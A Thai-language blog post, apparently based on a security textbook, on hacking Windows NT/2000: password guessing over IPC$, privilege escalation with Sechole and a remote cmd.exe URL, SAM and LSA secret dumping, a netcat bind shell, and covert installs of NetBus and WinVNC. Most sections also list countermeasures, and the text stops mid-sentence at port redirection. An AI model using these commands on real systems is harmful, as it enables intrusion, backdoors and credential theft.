วันอังคารที่ 31 พฤษภาคม พ.ศ. 2554

การเจาะระบบ Windows NT

การเจาะระบบ Windows NT

ระบบ รักษาความปลอดภัย Windows NT ได้เผยแพร่ผลงานของ Hobbit แห่ง Avian Research เกี่ยวกับ common Internet File System (CIFS) และ Server Message Block (SMB) ซึ่งดูได้จาก http://www.insecure.org/stf/cifs.txt) ซึ่งเอกสารนี้ได้บอกถึงข้อบกพร่องของ Windows NT

ไมโครซอฟต์ได้ออก มาแก้ปัญหาเป็นระยะด้วย Patch ซึ่งความปลอดภัยอาจจะสูงกว่า Unix ด้วยซ้ำ เพราะระบบเครื่องจะไม่ให้ลูกข่ายมาทำงานบนเครื่องยกเว้นแต่ติดตั้ง Terminal Server และ Terminal Client

โดยดีฟอลท์สิทธิกำหนดให้บางกลุ่มเท่า นั้น ถ้าผู้เจาะขโมยรหัสผ่านไม่ได้ก็จะเจาะระบบได้ยาก

การเจาะระบบ Windows NT ที่เกิดขึ้นอาจเป็นเพราะหนึ่งง่ายต่อการเข้าใช้ เนื่องจากต้องยอมรับกับระบบเก่าด้วย และใช้ Lan Manager ในการแฮซรหัสผ่าน

สอง คือเนื่องจากง่ายทำให้ผู้บริหารระบบละเลยเรื่องความปลอดภัย เช่นกำหนดรหัสผ่านที่เป็น Blank หรือว่างเปล่า



ภาพรวม

จะ บอกถึงพื้นฐาน และการตรวจสอบพอร์ต 135, 139 โดยดูว่าเป็น Windows NT ถ้า 139 เป็น Windows 9x และใช้การดูนามของบริการ

ถัดไปรวบรวมข้อมูล และเชื่อมต่อผ่านทาง Anonymous Connection เพื่อหารหัสผ่าน โดยเป้าหมายต้องการให้ได้ซึ่ง Administrator และอำพรางตัวเพื่อป้องกันการสะกดรอยหาตัวแฮกเกอร์

เครื่องมือต่างๆมี อยู่อย่างมากมาย แต่จะเน้นเฉพาะเครื่องมือที่นิยมกัน

นอกจาก Windows NT ยังมี Windows 2000 ซึ่งจะมีการกล่าวถึงการปรับแต่งเรื่อง Mixed Mode กับ Native Mode



การพยายามให้ตนได้รับสิทธิเท่าเทียม Administrator

เป้าหมายของผู้เจาะระบบต้องการสิทธิในระดับผู้บริหาร ระบบซึ่งก็คือกลุ่ม Administrators

ถ้าพอร์ต NetBIOS Session Service หมายเลข 139 เปิดอยู่วิธีที่ได้ผลก็คือการคาดเดารหัสผ่าน ถ้าต้องการเดาให้มีประสิทธิภาพต้องรู้จัก Account ก่อนโดยใช้ Null session ไปด้วยคำสั่ง Net use และใช้ DumpACL/DumpSec จาก SomarSoft และ Sid2user/user2sid

การค้นหาแชร์ทำงานได้ใช้ Interprocess Communication: IPC) ที่ชื่อ IPC$ ซึ่งยังใช้ 139 แชร์ที่เปิดสำหรับผู้บริหารระบบเช่น ADMIN$, ชื่อไดร์ฟ$ การติดต่อสามารถใช้ Network Neighborhood ในเครื่องหมายหมายเลข IP address ที่ต้องการ ระบุรหัสผ่านซึ่งระบบจะซ่อนด้วยดอกจัน ผู้พิมพ์จะต้องระบุรหัสผ่านเอง

ใน การเดาบนเครื่อง Workstation จะเป็นการเข้าที่ Local account ถ้าเครื่องที่เป็น Domain จะตรวจสอบที่ Global account ซึ่ง Windows NT Workstation และ Server ที่ไม่ใช่ Domain กำหนดให้ทุกคนล็อกออนเข้าใช้ได้ แต่ถ้าเป็น Domain Controller จะไม่อนุญาต และระบบจะมีการบล็อกในจำนวนการเข้าใช้ถ้าพิมพ์ผิดเกินที่กำหนดจะไม่ยอม

การ ตรวจสอบว่ามีการกำหนด Lockout account ผู้เจาะระบบต้องตรวจสอบนโยบายที่กำหนดก่อน และเริ่มเดา Guest account (ตรวจสอบว่าถูก Disable หรือไม่) ซึ่งถ้ามีการกำหนดนโยบายและพิมพ์รหัสผ่านผิดเกินที่กำหนดก็จะใช้ไม่ได้ เหมือนกัน

การเดารหัสผ่าน

-         ตรวจสอบจากรหัสผ่านที่ว่าง

-         ตรวจสอบจากชื่อบริษัท หรือชื่อผู้ใช้, Guest, Test, Admin, Password หรือดูจากฟิลด์คำแนะนำ ซึ่งใช้ DumpACL/Dumpsec เพื่อประโยชน์ในการเดา

-         ใช้ Account ที่ไปเปิดบริการบน Windows NT ซึ่งชื่อจะจำง่าย และมีส่วนช่วยในการเดาด้วย

การหารรายการของ Account ดูได้จาก http://www.securityparadigm.com/defaultpw.htm

การ เดารหัสผ่านอัตโนมัติสามารถใช้ For loop ได้ใน NT Shell โดยระบบจะใส่รหัสผ่านและคั่นด้วย Delimiter หรือ Tab ตัวอย่าง

For /f “tokens=1,2*” %I in (credentials.txt) do net use \\target\ipc$ %I /u:%j

ยังมีเครื่องมือที่ใช้อีกเช่น Legion และ NAT

NAT สามารถสั่งด้วยคำสั่งและเขียนเป็นสคริปต์ดังนี้

For /L %I IN (1,1,254) Do nat –u userlist.txt –p passlist.txt

เครื่องมือในการ ค้นหารหัสผ่านที่ว่างเปล่าคือ NTInfoScan (NTIS) ของ http://packetstorm.securify.com/NT/Audit ซึ่งมีการใช้เป็นคำสั่งโดยได้ปรับปรุงดูได้ที่ http://www.cerberusinfosec.co.uk/tools.html

เครื่อง มือที่เป็นของฟรีได้แก่ Cybercorp Scanner ของ NAI ที่มาพร้อมกับ SMBGrind ทำงานได้อย่างรวดเร็วผลลัพธ์ไม่ต่างจาก NAT

Smbgrind –1 100 –I 192.168.2.5

มาตรการป้องกันการเดารหัสผ่าน

ต้องบล็อกพอร์ต 135-139 ที่ Firewall หรือ Router และไม่ทำการผู้ WINS Client ในแท็บ Binding

กำหนดการ Logout account ที่พิมพ์ผิดเกินจำนวนครั้งที่กำหนด บังคับให้ใส่รหัสผ่านที่ดี และบันทึกล็อก สิ่งที่ทำนี้อยู่ใน Account Policies

Passfilt เป็นการป้องกันที่ดีให้มาพร้อมกับ Windows NT SP2 ซึ่งจะบังคับรหัสผ่นาต้องยาวอย่างน้อย 6 ตัวอักษร และต้องไม่มีการใช้ชื่อแอคเคานต์หรือส่วนใดมาเกี่ยวข้อง ซึ่งการใช้ Passfilt เป็นเรื่องที่ต้องทำ แต่ระวัง Passfilt ที่เป็นม้าโทรจันในการเจาะระบบ และไม่ควรนำ Passfilt ของค่ายอื่นมาใช้

ใน Windows 2000 ให้ไปที่ secpol.msc หรือ gpedit.msc กำหนดใน Security Settings\Account Policies\Password Policy\”Password Must Meet Complexity Requirements”

Passprop เป็นเครื่องมือที่มากับ NTRK ซึ่งช่วยกำหนดนโยบายความปลอดภัย

-         กำหนด Password-complexity ผู้ใช้ต้องผสมตัวเล็ก ตัวใหญ่ และตัวเลข อักขระพิเศษ

-         Passprop ควบคุม administrator โดยกำหนดจำนวนครั้งที่พิมพ์รหัสผ่านผิด

-         การบันทึกล็อก โดยดูใช้ Event Viewer หรือใช้ Dumpel จาก NTRK, NTLast เป็นของฟรีเข้าไปที่ http://www.ntobjectives.com หรือ DumpEvt จาก www.somarsoft.com

Dumpel สามารถเข้าดูล็อกและจัดการบนเครื่องอื่นได้สามารถดูเหตุการณ์ได้ถึง 10 ID พร้อมๆกันตรวจสอบการล็อกออนที่ล้มเหลวใช้ 529

Dumpel –e 529 –f seclog.txt –l security –m security –t

DumpEvt จะดัมพ์เอาล็อกไฟล์เกี่ยวกับความปลอดภัยไปเก็บไว้ใน Access หรือ SQL ก็ได้ แต่ไม่สามารถกรองเหตุการณ์ได้

NTLast เป็นเครื่องมือ 32 บิตที่ค้นหาเหตุการณ์ที่ล้มเหลวทั้งล็อกออนโดยผ่านเครือข่าย สามารถจับคู่การล็อกออฟ และล็อกออนได้ ยังรวบรวมเหตุการณ์ในการเข้าใช้ด้วยวิธีการเดาใน IIS server ได้ด้วย

Real-Time Burglar Alarms: Intrusion Detection

เป็นระบบที่ใช้ตรวจสอบ เหตุการณ์และแจ้งเตือนทันที ณ เวลานั้นๆ ออกแบบเพื่อทำงานบน Windows NT โดยหลักการจะมีเครื่องคอยตรวจสอบไปถึงการตรวจจับผู้บุกรุก เช่น

BlackICE Pro         ของ       www.networkice.net

Centrax                  ของ       www.cybersafe.com

CyberCop Server   ของ       www.nai.com

Desktop Sentry      ของ       www.ntobjectives.com

Intact                      ของ       www.pedesstalsoftware.com

Intruder Alert (ITA) ของ      www.axent.com

Kane Security Monitor ของ www.securitydynamics.com

RealSecure ของ       www.iss.net

SeNTry                  ของ       www.missioncritical.com

SessionWall-3        ของ       www.platinum.com

Tripwire for NT      ของ       www.tripwiresecurity.com

ซึ่งรายละเอียดต่างๆ ดูได้จากเว็บไซต์ www.infoworld.com/cgi-bin/displaytc.pl?/980504comp.htm



การจับ รหัสผ่านผ่านเครือข่าย

การคาดเดารหัสผ่านเป็นเรื่องที่ยากพอควร จึงมีการใช้วิธีการดักจับเพื่อตรวจสอบเรียกว่า Sniffer ซึ่งถ้าใช้อยู่เฉพาะด้านเช่น L0phtcrack จาก www.l0phtcrack.com

L0phtcrack เป็นเครื่องมือคาดเดารหัสผ่านแบบออฟไลน์โดยดึงไฟล์ที่ลักลอบเข้ามาแล้วใช้ ระบบคาดเดารหัสผ่าน และยังมีส่วน SMB Packet Capture ซึ่งจะขโมยรหัสผ่านจากเครือข่ายในแพ็ตเกตต่างๆของ Windows NT Domain Controller และใช้การแฮชของรหัสผ่าน

กระบวนการของ Windows NT Domain Controller จะส่งค่า Challenge ที่สร้างสุ่มให้กับเครื่องลูกข่าย เครื่องลูกข่ายก็จะไปทำ Hashing algorithm ได้ผลของค่า Hash รหัสผ่าน และนำค่านี้ไปเป็นกุญแจเข้ารหัสค่า Challenge ที่เครื่อง DC ส่งมา แล้วส่งการเข้ารหัสไปที่ฝั่ง DC DC นำค่าที่ได้ไปเก็บในฐานข้อมูล SAM เพื่อเปรียบเทียบดูผลรับว่าเท่ากันหรือไม่

L0phtcrack ยังสามารถที่เจาะกลไกของ Windows NT ได้โดยโปรแกรมจะได้ Challenge และสตริงชุดหนึ่งที่เป็นผลลัพธ์ของการเข้ารหัส Challenge และสามารถใช้โดยโปรแกรมในการสุ่มเพื่อจับข้อมูล และใน Reverse-engineering เพื่อนำมาหาค่าของรหัสผ่าน (ซึ่งอัลกอริทึมของระบบเดิมใน LM จะอ่อนแอส่งผลให้การเจาะระบบทำได้ไม่ยากนัก)

ซึ่งจากการทำงานแบบนี้ ทำให้ผู้ดักจับถ้าเข้าไปในเครือข่ายด้วยระยะเวลาหนึ่งจะสามารถที่จะล่วงรู้ รหัสผ่านได้

ซึ่งถ้าใช้อุปกรณ์ Switching ก็จะช่วยลดการดักจับได้ระดับหนึ่ง แต่ไม่ช่วยในการป้องกันเทคนิคที่เป็นการบรอดคลาสเช่น ARP, SMB

วิธี การหนึ่งของการตรวจสอบคือใช้จดหมายส่งไปโดยแนบ file://ชื่อเครื่อง/ชื่อแชร์/message.html รหัสผ่านจะส่งมาให้ตรวจสอบถ้ามีใครคลิกเข้ามาในเครื่อง

L0phtcrack สามารถดักจับได้แม้ว่าจะต่อใน PPTP ซึ่งมีการเข้ารหัสอย่างปลอดภัย โดยไปที่ PPTP sniffer ซึ่งอยู่ใน Bugtraq สามารถทำงานในยูนิกส์

การส่งค่าแฮ ซของรหัสผ่าน

แทนที่จะส่งรหัสผ่านในการตรวจสอบ ก็ส่งรหัส Challenge ไปที่เครื่อง DC โดยตรงจะประหยัดเวลากว่ามาก โดย Paul Ashton ได้ประกาศแนวคิดในการแก้ไขไว้ที่ http://www.ntbugtraq.com ซึ่งสามารถใช้ NT Domain เพียงค่าแฮซรหัสผ่านเท่านั้น

รายละเอียดใน การดูค่าแฮซดูได้ที่ http://www.core-sdi.com/paper/nt_cred.htm ซึ่งจะมีการพูดถึงวิธีการ Local Security Authority Subsystem (LSASS) ที่ใช้เก็บเซสชั่นของการล็อกออน ยังรวมถึงการเก็บแก้ไขค่าหน่วยความจำโดยตรงเพื่อแฮซรหัสผ่าน ซึ่งแนวคิดนำไปใช้ได้จริง โดยเขียนโปรแกรมง่ายๆ

มาตรการป้องกัน: กำหนดไม่อนุญาตให้ตรวจสอบผู้ใช้ด้วย LanMan Hash

ให้เพิ่มคีย์ใน Windows NT ชื่อว่า “LMCompatibilityLevel” กำหนดเป็น Reg_dword มีค่าเท่ากับ 4 ในที่ HKLM\System\CurrentControlSet\Control\LSA

ลำดับ 4 เป็นการห้ามไม่ใช้ DC ยอมรับการตรวจสอบด้วย LanMan Authentication, ซึ่งใช้รหัส 4 กับ 5

แต่การกำหนดแบบนี้จะทำให้เครื่องลูกข่ายที่มิ ใช่ Windows NT เช่น Win9x, WFW ไม่สามารถล็อกออนได้

ซึ่งในยุค Windows 2000 มีการป้องกันรหัสผ่านด้วย DSClient โดยไฟล์นี้มีมาให้ในแผ่น Windows 2000 ที่ Clients\Win9x\Dsclient.exe ระบบนี้จะทำให้มีความปลอดภัยในการตรวจสอบขึ้น

การอนุญาตให้ใช้ลาย เซ็นดิจิตอลบนโปรโตคอล SMB

แม้ไม่ได้ป้องกันการใช้เครื่องมือ Pass the hash โดยตรงแต่ป้องกัน main-in-the-middle คือการดักจับข้อมูลได้ ซึ่งเรียกว่า SMB Signing สามารถทำได้ตั้งแต่ NT SP3 ขึ้นไป โดยระบบจะมีการส่งลายเซ็นดิจิตอลว่าเป็นลายเซ็นจริงหรือไม่ซึ่งรองรับได้ เฉพาะ NT เท่านั้น และอัตราความเร็วในการล็อกออนจะลดลง 10-15 เปอร์เซ็นต์





การ ยกระดับสิทธิให้สูงขึ้น

คือการที่ครั้งแรกใช้เดารหัสผ่านของผู้ใช้ ทั่วไป และก็มาให้กลายเป็นสมาชิกของ Administrator  หลักการคือการรวบรวมข้อมูล

เครื่องมือที่ใช้ srvinfo จาก NTRK ค้นหาโฟลเดอร์ %systemroot%\system32 เพื่อตรวจสอบว่ามีการแชร์หรือไม่ หรือตรวจสอบว่า ftp มีการอนุญาตให้เขียนลงไปหรือไม่

ใช้เครื่องมือ Find เพื่อหาข้อความ Password ให้ .bat ใดๆ

ใช้เครื่องมือ regdmp หรือ Connect Network Registry ใน Regedit เพื่อทดลองค่าคีย์ต่างๆ

มาตรการ ป้องกัน

คืออุดรอยรั่วก่อนโดยทดสอบว่ามีอะไรหลุดมาหรือไม่

Getadmin เป็นโปรแกรมเล็กๆที่ให้เพิ่ม Account เข้าไปใน Administrator โดยมีการเซตแฟลกพิเศษ ซึ่งจะแฝงตัวใน winlogon หาได้จาก http://www.ntsecurity.net/security/getadmin.htm

สาเหตุ ที่ไม่เป็นที่นิยมเนื่องจากโปรแกรมนี้จะต้องรันบนเครื่อง ซึ่งอย่างน้อยจะต้องเป็นกลุ่มที่มีสิทธิในระดับ Operators

วิธีใช้ คือ getadmin <ชื่อผู้ใช้> จะพบว่ารายชื่อจะถูกบรรจุใน Administrator

มาตรการ ป้องกัน Getadmin

ให้ติดตั้ง SP4 หรือ SP3+Hotfix แต่มีข่าวว่า crash4 สามารถที่เจาะได้แม้ติดตั้ง SP4 แล้วก็ตาม

Sechole ทำหน้าที่เหมือน getadmin คือสามารถเพิ่มเข้าในกลุ่ม Administrators ได้ และมี Secholed ที่เพิ่มใน Domain Admins ด้วย ให้ดูที่ Prasad Dabak ซึ่งดูได้ในเว็บ http://www.ntsecurity.net/security/sechole.htm

Sechole สามารถทำงานได้กับ IIS และใช้ IUSR_servername เข้าในกลุ่มนี้

การ ทำงานของ Sechole จากระยะไกล

เป็นการประยุกต์ใช้กับเทคนิคพื้นฐาน ซึ่งโดยดีฟอลท์ของ IIS และตรวจสอบว่ามีการให้ Permissions อย่างไร ซึ่งการโจมตีจะโหลดโปรแกรมสำหรับแฮกเช่น Sechole ไว้ใน Virtual Directory โดยใช้ FTP ที่ไม่เหมาะสม หรือใช้ FrontPage authoring สำหรับการอัพโหลด ซึ่งถ้าทำสำเร็จก็ให้อัพโหลดไฟล์ execute และ dll ไว้ ซึ่งการใช้รหัสผ่านดังกล่าวของ IUSR_servername ยังต้องสุ่มซึ่งนิยมใช้การสร้าง User จะง่ายกว่าโดยไปกำหนดแบตช์ดังนี้

Net user khajorn abc /add && Net localgroup administrators khajorn /add

และเมื่อไฟล์ต่างๆถูกำหนดไว้เรียบร้อยก็จะได้สิทธิดังกล่าว

หลัก การในการรันเพื่อไม่ต้องล็อกออน IUSR_servername คือ

http://192.168.0.11/scripts/cmd.exe?/c:%20c:\inetpub\scripts\adduser.bat

อักขระ ที่ %20 หมายถึงช่องว่าง ซึ่ง /c ให้หยุดทำงานเมื่อรันเสร็จ

มาตรการ ป้องกัน Sechole

คือการป้องกัน Execute file ผ่านเว็บ และติดตั้ง NT SP6a หรือ SP5+hotfix และบล็อกการเข้าใช้พอร์ต 135-139 รวมทั้งชื่อแชร์



การ ปลอมตัวเพื่อใช้บริการผ่าน LPC Port

เป็นการใช้ข้อบกพร่องของ LPC ซึ่งจะเปิดให้กับผู้ให้บริการ โดยจำลองตัวเองเป็นกระบวนการฝั่งลูกข่าย เพื่อตบตาคิดว่าเป็นผู้ใช้ทั่วไป หรือ System process และโปรแกรมจาก RAZOR ชื่อว่า hk จะให้ยกระดับที่ Backup Operator เข้าไปที่ Administrators แทน

   1. ในตอนแรกผู้ใช้จะอยู่ใน Backup Operators ใช้ Utilities whoami จาก NTRK
   2. พยายามที่จะเพิ่มผู้ใช้โดย net localgroup
   3. แต่ถ้าใช้กับ hk net localgroup administrators ชื่อผู้ใช้ /add จะทำได้

มาตรการ ป้องกันคือการติดตั้ง Hotfix SP6a+Hotfix ซึ่งถ้ารอ SP7 อาจจะไม่มีก็ได้



โปรแกรม Trojan และค่าคีย์ใน Registry ที่สามารถ Execute ได้

ตำแหน่งที่รัน ใน Registry

Key Name
 

Default Permission
 

Values

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
 

Everyone: set value
 

[any]

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
 

Server Operators: set value
 

[any]

HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx
 

Everyone: set value
 

[any]

HKLM\Software\Microsoft\Windows\CurrentVersion\AeDebug
 

Everyone: set value
 

Debugger

HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon
 

Server Operators: set value
 

Userinit

การกำหนด Permission ต่างๆเหล่านี้อาจมีผลต่อแอพพลิเคชั่น

การยกระดับสิทธิ

เป็น วิธีการค่อนข้างยากนอกจากจะมีช่องโหว่ หรือดักจับผู้ใช้ที่อยู่ในกลุ่ม Operators ซึ่งเมื่อเข้าไปได้แล้วจะได้สิทธิ Administrators

ซึ่ง เมื่อได้สิทธิผู้บริหารระบบแล้วก็สามารถที่จะทำเรื่องต่างๆได้ดังนี้

การ แคร็กรหัสผ่านของผู้ดูแลในฐานข้อมูล SAM (Security Account Manager)

ซึ่ง การเจาะฐานข้อมูล SAM เสมือนว่าได้ /etc/passwd ในระบบ Unix  ซึ่งการได้ SAM มานี้ถึงแม้เป็นเครื่องที่ Standalone ก็มีสิทธิในการที่จะได้ผู้ใช้ในโดเมนนั้นๆด้วย

ซึ่งบางท่านอาจจะ บอกว่ารหัสผ่านของ SAM จะเข้ารหัสไว้ไม่ใช่หรือ แต่ด้วยการที่ต้องการให้ระบบแบบเก่า (LM, WFW, Win9x) ใช้ได้จึงเป็นจุดอ่อนอย่างใหญ่หลวงใน NT เครื่องมือคือ L0phtcrack กลไกนี้สามารถที่ทำออฟไลน์เพื่อป้องกันการใช้ Account lockout การตรวจสอบจากดิกชั่นนารีจะเร็วหรือช้าขึ้นอยู่กับความแรงของเครื่อง

การ ดูข้อมูลของ SAM จะไปได้ที่ %systemroot%\System32\Config ซึ่งโดยทั่วไป administrators จะดูไม่ได้แต่ถ้าใช้การ Audit ก็ตรวจสอบได้

วิธีการ นำ SAM

   1. ก๊อปปี้ไฟล์ในแผ่นดิสก์ โดยตรง
   2. สำเนาโดยใช้ rdisk /s เพื่อสร้าง Emergency Repair Disk (ERD)
   3. ดึงค่าจาก SAM โดยตรง
   4. ดักจับจากเครือข่าย

-         ซึ่งผู้ใช้สามารถที่จะบูตเข้ารหัสปฏิบัติการด้วย DOS และใช้ NTFSDOS จาก http://www.sysinternals.com

-         ขโมยไฟล์จาก แผ่น ERD และก๊อปปี้ใน %systemroot%\repair จะต้องขยาย sam._ ก่อนโดย L0phtcrack จะมีไฟล์ import

-         การดัมน์ด้วย pwdump ซึ่ง L0phtcrack จะมีความสามารถดังกล่าวด้วย แต่บล็อกด้วย SP2 ขึ้นไป ซึ่งใช้ pwdump2 จะเข้าไปดูได้



มาตรการป้องกัน

วิธี การป้องกันคือการกำหนดรหัสผ่านที่มีความสลับซับซ้อน และความปลอดภัยในระดับ 7 และ 8 อักขระมีความหมายเหมือนกัน

ในการเพิ่มความปลอดภัยใน Windows NT +SP2 คือใช้คำสั่ง Syskey เพื่อให้มีความปลอดภัยสูงขึ้น

การกำหนด ค่าตรวจสอบในการเข้าถึง SAM คือมีการกำหนดการ Auditing ในหัวข้อของ File and Object Access ที่ Success



การใช้ประโยชน์จากช่องโหว่ ของ Trust Relationship

มีการขโมยรหัสผ่านใน Trust Relationship ได้ ซึ่งโดยช่องโหว่ที่ใหญ่ที่สุดคือการกำหนดรหัสผ่านของ Administrator ใน Member Server กับโดเมนเป็นชื่อเดียวกัน

ดังนั้นสิ่งที่ควรระวังคือ

-         กำหนดรหัสผ่านของ Local administrator ตรงกับของโดเมน ทั้งชื่อ และรหัสผ่าน

-         หรือมีการกำหนดหมายเหตุทำให้เข้าใจถึงรูปแบบของรหัสผ่านระหว่างเครื่อง Local กับ Domain

มาตรการป้องกัน

มีการกำหนดรหัสผ่านเปลี่ยน อยู่บ่อยโดยกำหนเป็นโดเมน และมีการสร้าง Account ใหม่ที่เป็น Administratorsซึ่งกำหนดให้เดายาก และ Account ที่ผู้บริหารระบบใช้อยู่ประจำให้มีสิทธิเป็น User ธรรมดา


LSA Secrets

ซึ่งอยู่ใน HKLM\Security\Policy\Secrets, LSA Secrets

ใน ที่นี้ประกอบด้วย

-         รหัสผ่านของ Service Account เพื่อนำไปสู่การเจาะระบบ

-         แคชของค่าแฮซสิบคนล่าสุด

-         รหัสผ่านที่ใช้ผ่าน Web และ FTP

-         ชื่อผู้ใช้ผ่าน RAS

-         รหัสผ่านของ Computer Account ที่เป็นสมาชิก

เครื่อง มือที่ใช้คือ lsadump2

มาตรการป้องกัน

มีกล่าวใน  Q184107 บอกว่าผู้บริหารระบบสามารถเข้าถึงข้อมูลได้ทันที ซึ่งถ้าแก้ไขให้ไปลง hotfix ส่วนใน RAS ให้ลง SP6a


Autologon Registry Keys

หรือ กำหนดให้ autoAdminlogon ใน HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\AutoAdminLog กำหนดเป็น 1

มาตรการป้องกัน AutoLogon

ให้ลบค่า DefaultPassword ใน Winlogon ทิ้งไป


Keystroke Loggers

เป็น การดักจับรหัสผ่านผ่านหน้าจอ ซึ่งกำหนดเก็บเป็นไฟล์ หรือส่งไปยังตำแหน่งที่ต้องการ ซึ่งระบบจะทำการติดตั้งไดร์ฟเวอร์ และค่าคีย์ในไฟล์ iks.reg  และเมื่อโหลดเข้าไปแล้วทำการรีสตาร์ทใหม่ด้วยคำสั่ง Remote Shutdown คือ

Shutdown \\เครื่องที่ต้องการ /r /t:1 /y /c

ผู้ใดเข้ามาใช้จะเก็บเป็นล็อก ไฟล์

มาตรการป้องกัน Keystroke loggers

ให้ไปตรวจสอบ หรือค้นหาคำว่า LogName อยู่ใน HKLM\System\CurrentControlSet\Services และค่าซับคีย์ต่างๆ หรือจะค้นหาจากไฟล์ iksnt.sys


Sniffers

เป็น การจับระบบเครือข่ายมีซอฟต์แวร์ชื่อดังคือ Snifferpro ซึ่งสามารถที่จะดักจับได้ และเป็นที่นิยม นอกจากนี้ยังมี CaptureNet 3.12 ซึ่งเป็นของฟรี และ NetMon ที่มีมาใน NT/2000

รูปแบบของแต่ละโปรแกรม จะขึ้นอยู่กับแต่ละค่ายที่ออกแบบ ซึ่งหลักการทำงานจะเหมือนกัน
Buttsniffer

เป็น เครื่องมือที่สร้างโดยผู้ออกแบบ Back Orifice 2000 ซึ่งหาได้จาก http://packetstorm.securify.com/sniffers/buttsniffer

วิธี ใช้

คือ Buttsniff –l จะพบอินเตอร์เฟส

พิมพ์ buttsniff –d l d:\data\data.txt p

และเข้าไปดูในไฟล์

ข้อเสียคือไม่ค่อย เสถียร
Fsniff

เป็นโปรแกรมอีกตัวหนึ่งสามารถส่งไฟล์ผ่าน ftp ได้

วิธี ใช้คือ fsniff

นอกจากนี้ยังมี WinPcap-Based Win32 sniffers, WinDump, dsniff for Win32

มาตรการป้องกันการลักลอบดักจับด้วย Sniffer

คือให้ใช้การเข้ารหัสไม่ว่าจะเป็น Secure Shell (SSH), Secure Socket Layer, Pretty Good Privacy (PGP), IPSec ในระดับ IP หรือใช้ Switch กับ VLAN ในการแบ่งเครือข่าย



การควบคุมจากระยะไกล และสร้างประตูทางลับ

ในเครื่องมือของ Windows NT Server ที่อยู่ใน NTRK จะมีคำสั่ง rcmd.exe ซึ่งสามารถที่เข้าใช้จากระยะไกลได้

ระบบ การใช้คำสั่งจากทางไกลจะผ่านทาง Remote.exe เข้าที่ c$ ที่เครื่องเป้าหมาย

ผู้ ใช้กำหนดตารางเวลาให้เท่ากันได้โดยใช้คำสั่งดังนี้

Sc \\192.168.0.11 start schedule

Net time \\192.168.0.11

At \\192.168.0.11 10:40P “remote /s cmd secret”

At \\192.168.0.11

จะ พบว่ามีการทำงานแล้ว

ใช้คำสั่ง

Remote /c 192.168.0.11 secret

ผู้ใช้สามารถที่เข้าดูฐานข้อมูล Sam ได้โดยไปที่ C:\winnt\repair\sam._



การใช้คำสั่ง Remote shells ด้วย netcat

เป็นวิธีที่สะดวกเนื่องจากโปรแกรมจะใช้  TCP กำหนดพอร์ตได้ โดยวิธีที่ใช้คือ

Nc –L –d –e cmd.exe –p 8080

เป็นการกำหนด ให้เครื่องของแฮกเกอร์สามารถต่อเชื่อมผ่านพอร์ตที่ 8080 ได้

Nc 192.168.0.11 8080

เมื่อใช้คำสั่ง ipconfig จะพบว่าเป็นของเครื่องอื่น

Exit เพื่อออกจากโปรแกรม


NetBUS

เป็น ญาติพี่น้องกับ Back Orifice (BO) ที่ใช้ควบคุมจากทางไกล จะมีเวอร์ชั่นใหม่ซึ่งตอนนี้เป็นเวอร์ชัน 2.3 แล้ว โดยระบบจะทำการฝั่ง NBSVR.EXE ซึ่งจะใช้ NBSVR GUI ในการเรียกใช้

NBSVR.EXE จะซ่อนไม่สามารถมองเห็นได้ และเพิ่มค่าคีย์ใน Registry โดย regini.exe จาก NTRK

ไฟล์ที่ได้คือ NETBUS.txt

Regini –m \\192.168.0.11 netbus.txt

โดยเมื่อมีการเรียก Patch จะมีการกำหนดค่าติดตั้งพอร์ตต่างๆ และกำหนดเป็น Visibility =3 มีการกำหนด autostart =1 ให้เครื่องทำงานเมื่อบูตเครื่อง และเก็บค่าใน Registry ที่

HKLM\Software\Microsoft\Windows\CurrentVersion\Runservices

มาตรการ ป้องกัน NetBUS

เนื่องจาก NetBUS สามารถเปลี่ยนค่าพอร์ตได้ในเวอร์ชันหลังๆ จึงต้องหาวิธีในการจัดการ NetBUS โดยตรงให้ไปดูที่ RunServices


Back Orifice 2000

เวอร์ ชั่นแรกๆยังไม่สามารถทำงานบน Windows NT ได้จนได้ออก BO2K ที่มีฟีเจอร์เหมือน Windows 9x และควบคุมจากทางไกล

มาตรการป้องกัน Back Orifice 2000

เช่นเดียวกับ NetBUS คือมีการออกซอฟต์แวร์ในการตรวจสอบ ซึ่งบางครั้งซอฟต์แวร์ที่กำจัดจะเป็น BO ซะเอง โดยใช้การค้นหา Internet Scanner ของ ISS ว่าใช้ที่พอร์ตใด หรือใช้จาก BO เองโดยเข้าไปที่หน้าจอในการนำ BO ออก ซึ่งตอนหลัง cDc ได้เปิดเผยซอร์สโค้ดของ BO2K ทำให้มีการพัฒนาซอฟต์แวร์นี้อย่างต่อเนื่อง ดังนั้นจึงสมควรที่จะรู้จักการจัดการกับไฟล์ที่รับเข้ามาทางอินเตอร์เน็ต



การ ขโมยหน้าจอด้วย WinWVN

เป็นการขโมยหน้าจอ NT แบบกราฟิกซึ่งฟรี ซึ่งมีประสิทธิภาพดีของ Virtual Network Computing ซึ่งผู้ใช้สามารถดาวน์โหลดได้ การติดตั้งนั้นก็ง่ายมองไม่เห็นเป็นบริการ โดยการทำงานของระบบจะก๊อปปี้ไฟล์ Winvnc.exe, vnchooks.dll และ omnithread_rt.dll ไปไว้ในเครื่องเป้าหมาย ตรวจสอบได้จาก Task Manager ในแท็บ Process

มีการเพิ่มคีย์โดยใช้ regini.exe ซึ่งคล้าย NetBUS โดยถ้าใช้ regdmp จาก NTRK จะได้ Winvnc.ini ดังนี้

HK_USERS\.Default\software\ORL\WinVNC3

Socketconnect = REG_DWORD 0x0000001

Password = Reg_binary 0x0000008 0x57bf2d2e 0x9e6cb06e

จากนั้นโหลดค่านี้โดยใช้ regini

Regini –m \\192.168.0.11 winvnc.ini

อย่าลืมว่าคำสั่งด้านล่างขโมยจากเครื่อง ปลายทาง

Winvnc –install

Net start winvnc

ในขณะนี้ สามารถที่เปิดโปรแกรม vncviewer เพื่อต่อในเครื่องปลายทาง

การหยุด ยั้ง WinVNC

Net stop winvnc

Winvnc –remove

Reg delete \\192.168.0.11

(Reg นำมาจาก NTRK)



การ เปลี่ยนทิศทางอขงพอร์ต (Port Redirection)

ไฟร์วอลล์หลายตัวจะทำการ บล็อกการจราจรต่างๆได้ ดังนั้นการใช้ Port Redirection เป็นวิธีหนึ่งที่หลบเลี่ยง โดยกระบวนการจะทำการเฝ้าดูที่พอร์ตนี้และเปลี่ยนพอร์ตออกไป โดยเครื่องมือที่ใช้มี

